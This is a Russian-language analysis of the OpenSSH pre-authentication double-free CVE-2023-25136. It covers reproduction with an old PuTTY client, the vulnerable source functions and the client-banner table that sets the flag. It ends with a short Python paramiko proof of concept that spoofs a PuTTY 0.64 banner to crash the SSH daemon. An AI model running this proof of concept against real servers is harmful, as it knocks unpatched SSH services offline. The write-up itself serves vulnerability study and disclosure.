
OpenSSH Pre-Auth Double Free CVE-2023-25136 – разбор и доказательство концепции
OpenSSH — это популярный инструмент, используемый для безопасной связи и удалённого доступа. Он был разработан как бесплатная реализация протокола Secure Shell (SSH) с открытым исходным кодом и широко используется в различных приложениях.
OpenSSH обеспечивает безопасное и зашифрованное соединение между двумя не доверяющими друг другу хостами через незащищённую сеть, что делает его незаменимым инструментом для удалённого доступа и безопасной передачи файлов.
С ростом использования облачных вычислений и удалённого доступа к серверам OpenSSH стал важнейшим инструментом для системных администраторов и разработчиков, которым требуется безопасный доступ к удалённым системам и управление ими.
OpenSSH также поддерживает широкий спектр платформ, включая Linux, macOS и Windows, что делает его широко используемым инструментом в различных операционных системах. Благодаря простоте использования и надёжным функциям безопасности OpenSSH стал отраслевым стандартом для безопасного удалённого доступа.
2 февраля 2023 года OpenSSH выпустил версию 9.2p1 вместе с этим бюллетенем безопасности. Сразу стало ясно, что эта версия представляет интерес из-за уязвимости двойного освобождения до аутентификации (pre-auth double-free). В репозитории OpenSSH на GitHub это коммит с исправлением.
Сообщение коммита указывает на bz3522, что относится к проблеме в Bugzilla, сообщённой пользователем Mantas Mikulėnas.
В своём отчёте Mantas упоминает использование устаревшей версии PuTTY 0.64, приложив также обратную трассировку (back-trace) аварийного завершения из-за двойного освобождения.
Чтобы разобраться глубже, мы развернули среду с уязвимой версией OpenSSH 9.1p1 и скопировали старую версию PuTTY 0.64, выпущенную 8 лет назад — 28 февраля 2015 года.
После попытки подключения с помощью PuTTY 0.64 к уязвимому серверу OpenSSH была получена следующая ошибка:

Поскольку устаревшие алгоритмы обмена ключами клиента не поддерживаются новой версией OpenSSH, мы отредактировали файл sshd_config, добавив следующую строку в /etc/ssh/sshd_config : KexAlgorithms +diffie-hellman-group1-sha1
После перезапуска SSH-сервера и повторной попытки была получена следующая ошибка:

После добавления ещё одной строки конфигурации в sshd_config нам удалось подключиться к уязвимому серверу OpenSSH и воспроизвести сбой:
HostKeyAlgorithms +ssh-rsa
При запуске сервера в режиме отладки (с флагом -ddd) было получено следующее отладочное сообщение:
ssh_sandbox_violation: unexpected system call (arch:0xc000003e,syscall:20 @ 0x7fd7473fb771) [preauth]
Системный вызов номер 20 — это writev(), что соответствует отчёту в Bugzilla.
Обратите внимание: изменения конфигурации, которые мы внесли, были нужны только для воспроизведения уязвимости через PuTTY и не требуются для её эксплуатации. Как мы увидим в PoC, конфигурация по умолчанию уязвима.
Мы начали с изучения коммита с исправлением, в котором указано, что за двойное освобождение отвечает функция compat_kex_proposal(). Когда опция совместимости соединения SSH_OLD_DHGEX истинна в [1], второй аргумент p присваивается переменной cp в [2], а затем освобождается в [3].
/* Always returns pointer to allocated memory, caller must free. */
char *
compat_kex_proposal(struct ssh *ssh, char *p)
{
char *cp = NULL;
if ((ssh->compat & (SSH_BUG_CURVE25519PAD|SSH_OLD_DHGEX)) == 0)
return xstrdup(p);
debug2_f("original KEX proposal: %s", p);
if ((ssh->compat & SSH_BUG_CURVE25519PAD) != 0)
if ((p = match_filter_denylist(p,
"[email protected]")) == NULL)
fatal("match_filter_denylist failed");
if ((ssh->compat & SSH_OLD_DHGEX) != 0) { [1]
cp = p; [2]
if ((p = match_filter_denylist(p,
"diffie-hellman-group-exchange-sha256,"
"diffie-hellman-group-exchange-sha1")) == NULL)
fatal("match_filter_denylist failed");
free(cp); [3]
}
debug2_f("compat KEX proposal: %s", p);
if (*p == '\0')
fatal("No supported key exchange algorithms found");
return p;
}
Вызов compat_kex_proposal() находится внутри функции do_ssh2_kex():
myproposal[PROPOSAL_KEX_ALGS] = prop_kex = compat_kex_proposal(ssh,
options.kex_algorithms);
Освобождённый в compat_kex_proposal() указатель cp=p ссылается на аргумент options.kex_algorithms.
При поиске kex_algorithms в исходном коде мы наткнулись на assemble_algorithms из аварийного завершения, описанного в отчёте Bugzilla:
ASSEMBLE(kex_algorithms, def_kex, all_kex);
ASSEMBLE — это макрос для вызова функции kex_assemble_names():
#define ASSEMBLE(what, defaults, all) \
do { \
if ((r = kex_assemble_names(&o->what, defaults, all)) != 0) \
fatal_fr(r, "%s", #what); \
} while (0)
Функция kex_assemble_names() вызывается с адресом o->kex_algorithms в качестве первого аргумента (который является listp). Именно здесь происходит второе освобождение.
int
kex_assemble_names(char **listp, const char *def, const char *all)
Поскольку указатель options.kex_algorithms был освобождён и стал висячим указателем, он освобождается ещё раз, что приводит к двойному освобождению.
Но где устанавливается опция SSH_OLD_DHGEX?
Внутри функции compat_banner(), которая определяет флаги ошибок (bug flags) на основе баннера протокола SSH. Структура с именем check[] перечисляет все идентификаторы SSH-клиентов и их флаги. В приведённом ниже фрагменте показаны идентификаторы клиентов, которым присвоена опция SSH_OLD_DHGEX. Также видно, что WinSCP, возможно, тоже способен вызвать такое поведение.
{ "PuTTY_Local:*," /* dev versions < Sep 2014 */ "PuTTY-Release-0.5*," /* 0.50-0.57, DH-GEX in >=0.52 */
"PuTTY_Release_0.5*," /* 0.58-0.59 */
"PuTTY_Release_0.60*,"
"PuTTY_Release_0.61*,"
"PuTTY_Release_0.62*,"
"PuTTY_Release_0.63*,"
"PuTTY_Release_0.64*",
SSH_OLD_DHGEX },
{ "FuTTY*", SSH_OLD_DHGEX }, /* Putty Fork */
{ "WinSCP_release_4*,"
"WinSCP_release_5.0*,"
"WinSCP_release_5.1,"
"WinSCP_release_5.1.*,"
"WinSCP_release_5.5,"
"WinSCP_release_5.5.*,"
"WinSCP_release_5.6,"
"WinSCP_release_5.6.*,"
"WinSCP_release_5.7,"
"WinSCP_release_5.7.1,"
"WinSCP_release_5.7.2,"
"WinSCP_release_5.7.3,"
"WinSCP_release_5.7.4",
SSH_OLD_DHGEX },
Мы решили создать эксплойт-концепцию для отказа в обслуживании (Denial of Service) на Python из-за её гибкости и переносимости. Эксплойт-концепция вызывает двойное освобождение с помощью пакета paramiko и приводит к аварийному завершению (abort).
paramiko — это широко распространённая реализация SSH на Python, предоставляющая функциональность как сервера, так и клиента. Для PoC мы изменили баннер версии подключающегося клиента, чтобы он соответствовал устаревшему клиенту, например PuTTY v0.64.
Доступен в нашем репозитории на GitHub.
import paramiko
VICTIM_IP = "127.0.1"
CLIENT_ID = "PuTTY_Release_0.64"
def main():
transport = paramiko.Transport(VICTIM_IP)
transport.local_version = f"SSH-2.0-{CLIENT_ID}"
transport.connect(username='', password='')